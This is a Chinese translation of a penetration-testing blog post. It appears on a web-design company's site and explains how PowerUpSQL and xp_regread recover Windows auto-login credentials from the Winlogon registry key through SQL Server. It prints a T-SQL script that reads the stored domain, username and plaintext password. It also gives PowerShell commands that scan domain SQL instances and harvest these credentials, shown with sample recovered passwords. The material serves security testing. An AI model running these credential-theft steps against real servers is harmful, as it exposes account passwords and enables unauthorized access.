在SQLServer中通過PowerUpSQL獲得Windows自動(dòng)登錄密碼

 原文:

西工網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)!從網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、響應(yīng)式網(wǎng)站等網(wǎng)站項(xiàng)目制作,到程序開發(fā),運(yùn)營(yíng)維護(hù)。創(chuàng)新互聯(lián)自2013年起到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來(lái)保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)。

https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

 

在這篇博客中,我將展示如何使用PowerUpSQL通過SQL Serverd導(dǎo)出Windows自動(dòng)登錄密碼。我也來(lái)談?wù)剎p_regread存儲(chǔ)過程中的其他利用方式也可在***測(cè)試中使用。

xp_regread簡(jiǎn)史

從SQL Server2000后xp_regread擴(kuò)展存儲(chǔ)過程一直被使用,因?yàn)槠湓及姹驹试S以公共服務(wù)器角色的成員訪問SQL Server服務(wù)帳戶權(quán)限的幾乎任何東西的。當(dāng)時(shí),它有一個(gè)非常大的影響,因?yàn)镾QL Server以LocalSystem權(quán)限運(yùn)行是常見的(譯者注:很容易被提權(quán))。自從SQL Server 2000 SP4發(fā)布之后,由于添加了一些訪問控制,這有助于防止低權(quán)限的登錄訪問敏感的注冊(cè)表位置,xp_regread的影響已經(jīng)相當(dāng)小,現(xiàn)在,未經(jīng)授權(quán)的用戶訪問唯一的注冊(cè)表位置都與SQLServer相關(guān)。對(duì)于您可以訪問這些位置的列表https://support.microsoft.com/en-us/kb/887165

下面是更有趣的訪問路徑中的幾個(gè):

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International

xp_regread公共角色的實(shí)際用途

即使是我們的雙手被捆綁,xp_regread也可以用來(lái)獲取不少有用的信息。事實(shí)上,作為最低權(quán)限登錄時(shí),我經(jīng)常用它來(lái)抓取其它地方無(wú)法獲取的服務(wù)器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些這些查詢:

PS C:\>Get-SQLServerInfo

ComputerName           : SQLServer1

Instance               : SQLServer1

DomainName             : demo.local

ServiceName            : MSSQLSERVER

ServiceAccount         : NT Service\MSSQLSERVER

AuthenticationMode     : Windows and SQL Server Authentication

Clustered              : No

SQLServerVersionNumber: 12.0.4213.0

SQLServerMajorVersion  : 2014

SQLServerEdition       : Developer Edition (64-bit)

SQLServerServicePack   : SP1

OSArchitecture         : X64

OsMachineType          : WinNT

OSVersionName          : Windows 8.1 Pro

OsVersionNumber        : 6.3

Currentlogin           : demo\user

IsSysadmin             : Yes

ActiveSessions         : 3

 

在SQL ServerSP4中實(shí)現(xiàn)的訪問控制限制并不適用于系統(tǒng)管理員。其結(jié)果是,任何SQL Server服務(wù)賬戶可以在注冊(cè)表訪問,一個(gè)系統(tǒng)管理員可以通過xp_regread訪問。乍一看,這似乎不是什么大不了的事,但它確實(shí)讓我們從注冊(cè)表中的敏感數(shù)據(jù),而不必使用xp_cmdshell存儲(chǔ)過程,啟用和使用xp_cmdshel會(huì)觸發(fā)大量的告警。所以xp_regread實(shí)際上最終被用于基本的SQL Server開發(fā)任務(wù)后。

使用xp_regread恢復(fù)Windows自動(dòng)登錄憑據(jù)

配置Windows在計(jì)算機(jī)啟動(dòng)時(shí)自動(dòng)登錄這是可以實(shí)現(xiàn)的,雖然這不是在企業(yè)環(huán)境中的常見配置,這是我們?cè)诹闶郗h(huán)境中經(jīng)常看到的東西。特別是那些支持傳統(tǒng)的POS終端和信息亭使用SQL服務(wù)器本地運(yùn)行。在大多數(shù)情況下,當(dāng)Windows配置為自動(dòng)登錄,加密的憑據(jù)存儲(chǔ)在注冊(cè)表項(xiàng):

HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon

利用這些信息,我們可以編寫使用一個(gè)基本的TSQL腳本,通過xp_regread獲取注冊(cè)表的自動(dòng)登錄憑據(jù),而無(wú)需使xp_cmdshell啟用。下面就是一個(gè)TSQL腳本例子,但由于注冊(cè)表路徑不在允許列表上,我們必須作為一個(gè)系統(tǒng)管理員運(yùn)行查詢:

-------------------------------------------------------------------------

-- Get Windows AutoLogin Credentials from the Registry

-------------------------------------------------------------------------

-- Get AutoLoginDefault Domain

DECLARE@AutoLoginDomain  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultDomainName',

@value                         = @AutoLoginDomainoutput

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginUser  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultUserName',

@value                         = @AutoLoginUser output

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginPassword  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultPassword',

@value                         = @AutoLoginPasswordoutput

-- Display Results

SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword

我已經(jīng)創(chuàng)建了一個(gè)名為“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函數(shù),所以你可以直接運(yùn)行它。它將獲取默認(rèn)的Windows自動(dòng)登錄信息和曾經(jīng)設(shè)置過的Windows自動(dòng)登錄信息。然后,它返回相關(guān)的域名、用戶名和密碼。

 

下面是那些感興趣的一個(gè)命令示例。如果您對(duì)***隱蔽的SQL Server目標(biāo)有興趣,你可以挖掘這個(gè)博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):

PS C:\> $Accessible =Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose-Threads 15| Where-Object {$_.Status –eq “Accessible”}

PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose

VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.

VERBOSE: SQLServer2.demo.local\Application: Connection Success.

VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.

VERBOSE: SQLServer3.demo.local\2014 :Connection Success.

VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : KioskAdmin

Password    : test

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : kioskuser

Password    : KioskUserPassword!

總結(jié)

即使xp_regread擴(kuò)展存儲(chǔ)過程已部分閹割,仍有許多方式,它可以被證明是有用的***測(cè)試和紅隊(duì)交戰(zhàn)中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函數(shù)構(gòu)建它的能力,更多注冊(cè)表的樂趣將陸續(xù)提供,在此期間,祝你好運(yùn),并負(fù)責(zé)任!

參考文章:

https://support.microsoft.com/en-us/kb/887165

https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx

http://sqlmag.com/t-sql/using-t-sql-manipulate-registry

文章標(biāo)題:在SQLServer中通過PowerUpSQL獲得Windows自動(dòng)登錄密碼
鏈接地址:http://muchs.cn/article4/pdgeoe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供域名注冊(cè)網(wǎng)站排名、App設(shè)計(jì)、軟件開發(fā)、營(yíng)銷型網(wǎng)站建設(shè)網(wǎng)站收錄

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都seo排名網(wǎng)站優(yōu)化